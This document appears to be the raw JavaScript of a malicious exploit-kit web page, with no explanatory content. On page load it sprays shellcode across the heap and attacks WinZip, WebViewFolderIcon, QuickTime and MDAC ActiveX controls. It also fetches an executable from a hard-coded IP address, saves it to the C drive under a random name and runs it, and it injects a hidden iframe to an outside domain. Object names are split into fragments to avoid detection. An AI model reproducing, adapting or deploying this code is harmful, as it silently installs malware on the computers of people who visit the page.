var mm = new Array();
var mem_flag = 0;
function h()
{
mm=mm;
setTimeout("h()", 2000);
}
function getb(b, bSize)
{
while (b.length*2<bSize)
{
b += b;
}
b = b.substring(0,bSize/2);
return b;
}
function cf()
{
var zc = 0x0d0d0d0d;
var a = "䍃䍃࿫㍛曉肹老￬￿譿�擯齤䋳齤滧擯뤃憇܃ꩦ맫瞇攑ߡꩦ맧쪇ၟܭꩦ맣‡༡ޏꩦ맿⺇ખݗꩦ꿻흯騬昕뇯驦擋撶޹螿鿀砇曯⩤⽬暿쾪ႇ뿯ꩤ藻뛭멤߷ꫬ⣏돯솑⢊誗騐擏撶꼇藯럨ꫬ�밴Ⴜ쾚벿ꩤ藳뛪멤߷騐擏撶＇藯搐ﾪ撶껯붴໬໬໬໬ͬ뗫撼വ봘༐撺搃뉤맣鱤擓뤜饤�꘦䊮ⳬ�ｑᷕ℮꼝Ḅᇔ骱딊Ѥ땤褲撤㋬넪ⶲᬇထ먐ꎽꂢ瑨灴⼺㠯⸷〲⸷〱⸵㤱⼱楦敬瀮灨";
var heapBlockSize = 0x400000;
var pls = a.length * 2;
var bSize = heapBlockSize - (pls+0x38);
var b = "ఌఌ";
b = getb(b,bSize);
heapBlocks = (zc - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++)
{
mm[i] = b + a;
}
mem_flag = 1;
h();
return mm;
}
function startWinZip(object)
{
var xh = 'A';
while (xh.length >< 231) xh+='A';
xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
object.CreateNewFolderFromName(xh);
}
function startWVF()
{
for (i=0;i<128;i++)
{
try
{
var tar = new ActiveXObject('WebVi'+'ewFol'+'de'+'rIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
d = 0x7ffffffe;
b = 0x0c0c0c0c
tar.setSlice(d, b, b, b );
}
catch(e)
{
}
}
}
function elea()
{
var url="http://xa";
var outValue='';
for(i=0;i<url.length;)
{
outValue+='%u'+url.charCodeAt(i+1).toString(16)+url.charCodeAt(i).toString(16);
i=i+2;
}
x="邐邐邐㎐㏀帒륦ﺋ⺀耋श￩￿껫ᐔ愔델ᑄᐔ咍贐₄趯౬঍ᡮᑎᐔﯶ煬ᑲ气蚇潰Ũ贪ᑈᐔ贴滠攴樁?ᰘ畠螄壙᠜眲睼壚జ䔔擔敤摩樁贤滠攗樁Čၪ橣融赀䞈ᕼ樇認ᔴ䔇䯋꽓휕?숑㰤蠆파࿍?㴃蜡拹抍ᔸ竟ႍ赍⁢?ᢍᖍ귗孢ţā劒?ﳰʜ኎?藶Ṋ萱衬蒈ㄾ㰱㉉䑆㉉䑃㉇㭃ㅃ歺睰萲葬ᐔᐔᐔᐔᐔᐔᐔᐔ瑨灴⼺砯%uNaN61";
y="഍഍";
while(y.length><0x40000)y+=y;
y=y.substring(0,0x3ffe4-x.length);
o=new Array();
for(i=0;i<450;i++)o[i]=y+x;
z=Math.ceil(0xd0d0d0d);
document.write('<object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"></object>');
z=document.scripts[0].createControlRange().length;
}
function yah()
{
try
{
document.write("<object classid='"+"clsid:9D39223E-AE8E-1"+"1D4-8FD3-00D0B77302"+"77' id='ta"+"rget'></"+"object>");
myBuff = '\x0a';
while (myBuff.length < 5000) myBuff += '\x0a\x0a\x0a\x0a';
eval(String.fromCharCode(116,97,114,103,101,116,46,115,101,114)+"ver = myBuff;");
eval("target"+"."+String.fromCharCode(114,101,99,101,105,118,101,40,41)+";");
}
catch(e)
{
return 0;
}
}
function startOverflow(num)
{
if (num == 0)
{
try
{
if (! mem_flag) cf();
yah();
elea();
var qt = new ActiveXObject('Quick'+'Time.Qu'+'ickTime');
if (qt)
{
var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" style="border:0px">'+
'<param name="src" value="qt.php">'+
'<param name="autoplay" value="true">'+
'<param name="loop" value="false">'+
'<param name="controller" value="true">'+
'</object>';
if (! mem_flag) cf();
document.getElementById('myd'+'iv').innerHTML = qthtml;
num = 255;
}
}
catch(e)
{
}
if (num = 255) setTimeout("startOverflow(1)", 2000);
else startOverflow(1);
}
else if (num == 1)
{
try
{
var winzip = document.createElement("object");
winzip.setAttribute("classid", "clsid:A09AE6"+"8F-B14D-43"+"ED-B713-BA413"+"F034904");
var ret=winzip.CreateNewFolderFromName(unescape("%00"));
if (ret == false)
{
if (! mem_flag) cf();
startWinZip(winzip);
num = 255;
}
}
catch(e)
{
}
if (num = 255) setTimeout("startOverflow(2)", 2000);
else startOverflow(2);
}
else if (num == 2)
{
try
{
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
if (tar)
{
if (! mem_flag) cf();
startWVF();
}
}
catch(e)
{
}
}
}
function GetRandString(len)
{
var chars = "abcdefghiklmnopqrstuvwxyz";
var string_length = len;
var randomstring = '';
for (var i=0; i<string_length; i++)
{
var rnum = Math.floor(Math.random() * chars.length);
randomstring += chars.substring(rnum,rnum+1);
}
return randomstring;
}
function CreateObject(CLSID, name)
{
var r = null;
try
{
eval('r = CLSID.CreateObject(name)')
}
catch(e)
{
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.CreateObject(name, "")')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.CreateObject(name, "", "")')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.GetObject("", name)')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.GetObject(name, "")')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.GetObject(name)')
}
catch(e)
{
}
}
return(r);
}
function XMLHttpDownload(xml, url)
{
try
{
xml.open("GET", url, false);
xml.send(null);
}
catch(e)
{
return 0;
}
return xml.responseBody;
}
function ADOBDStreamSave(o, name, data)
{
try
{
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
}
catch(e)
{
return 0;
}
return 1;
}
function ShellExecute(exec, name, type)
{
if (type == 0)
{
try
{
exec.Run(name, 0);
return 1;
}
catch(e)
{
}
}
else
{
try
{
exe.ShellExecute(name);
return 1;
}
catch(e)
{
}
}
return(0);
}
function MDAC()
{
var t = new Array('{BD96C5'+'56-65A3-11'+'D0-983A-00C04FC'+'29E30}', '{BD96C'+'556-65A3-11'+'D0-983A-00C0'+'4FC29E36}', '{AB9B'+'CEDD-EC7E-47'+'E1-9322-D4A21'+'0617116}', '{0006F'+'033-0000-0000-C000-000000'+'000046}', '{0006'+'F03A-0000-0000-C000-0000000'+'00046}', '{6e32'+'070a-766d-4ee6-879c-dc1fa'+'91d2fc3}', '{6414'+'512B-B978-451D-A0D8-FCFDF3'+'3E833C}', '{7F5B'+'7F63-F06F-4331-8A26-339E03'+'C0AE3D}', '{0672'+'3E09-F4C2-43'+'c8-8358-09FCD1D'+'B0766}', '{639F'+'725F-1B2D-48'+'31-A9FD-87484'+'7682010}', '{BA018'+'599-1DB3-44f'+'9-83B4-46145'+'4C84BF8}', '{D0C07'+'D56-7C69-43F1-B4'+'A0-25F5A1'+'1FAB19}', '{E8C'+'CCDDF-CA28-496b-B'+'050-6C07C962'+'476B}', null);
var v = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;
var urlRealExe = 'http://87.207.105.191/file.php';
while (t[i] && (! v[0] || ! v[1] || ! v[2]) )
{
var a = null;
try
{
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
}
catch(e)
{
a = null;
}
if (a)
{
if (! v[0])
{
v[0] = CreateObject(a, "msxml2.XMLHTTP");
if (! v[0]) v[0] = CreateObject(a, "Microso"+"ft.XM"+"LHT"+"TP");
if (! v[0]) v[0] = CreateObject(a, "MSX"+"ML2.Se"+"rverXM"+"LHT"+"TP");
}
if (! v[1])
{
v[1] = CreateObject(a, "ADODB.Str"+"eam");
}
if (! v[2])
{
v[2] = CreateObject(a, "WSc"+"ript.Sh"+"ell");
if (! v[2])
{
v[2] = CreateObject(a, "Shel"+"l.Ap"+"pl"+"icati"+"on");
if (v[2]) n=1;
}
}
}
i++;
}
if (v[0] && v[1] && v[2])
{
var data = XMLHttpDownload(v[0], urlRealExe);
if (data != 0)
{
var name = "c:\\sys"+GetRandString(4)+".exe";
if (ADOBDStreamSave(v[1], name, data) == 1)
{
if (ShellExecute(v[2], name, n) == 1)
{
ret=1;
}
}
}
}
return ret;
}
function start()
{
if (! MDAC() )
{
startOverflow(0);
}
}
start();

if (document.getElementsByTagName('body')[0])
{
iframer();
}
else
{
document.write("<iframe src='http://maseoi1l4f.c0m.li/i/fttpp27vecher' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer()
{
var f = document.createElement('iframe');
f.setAttribute('src','http://maseoi1l4f.c0m.li/i/fttpp27vecher');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}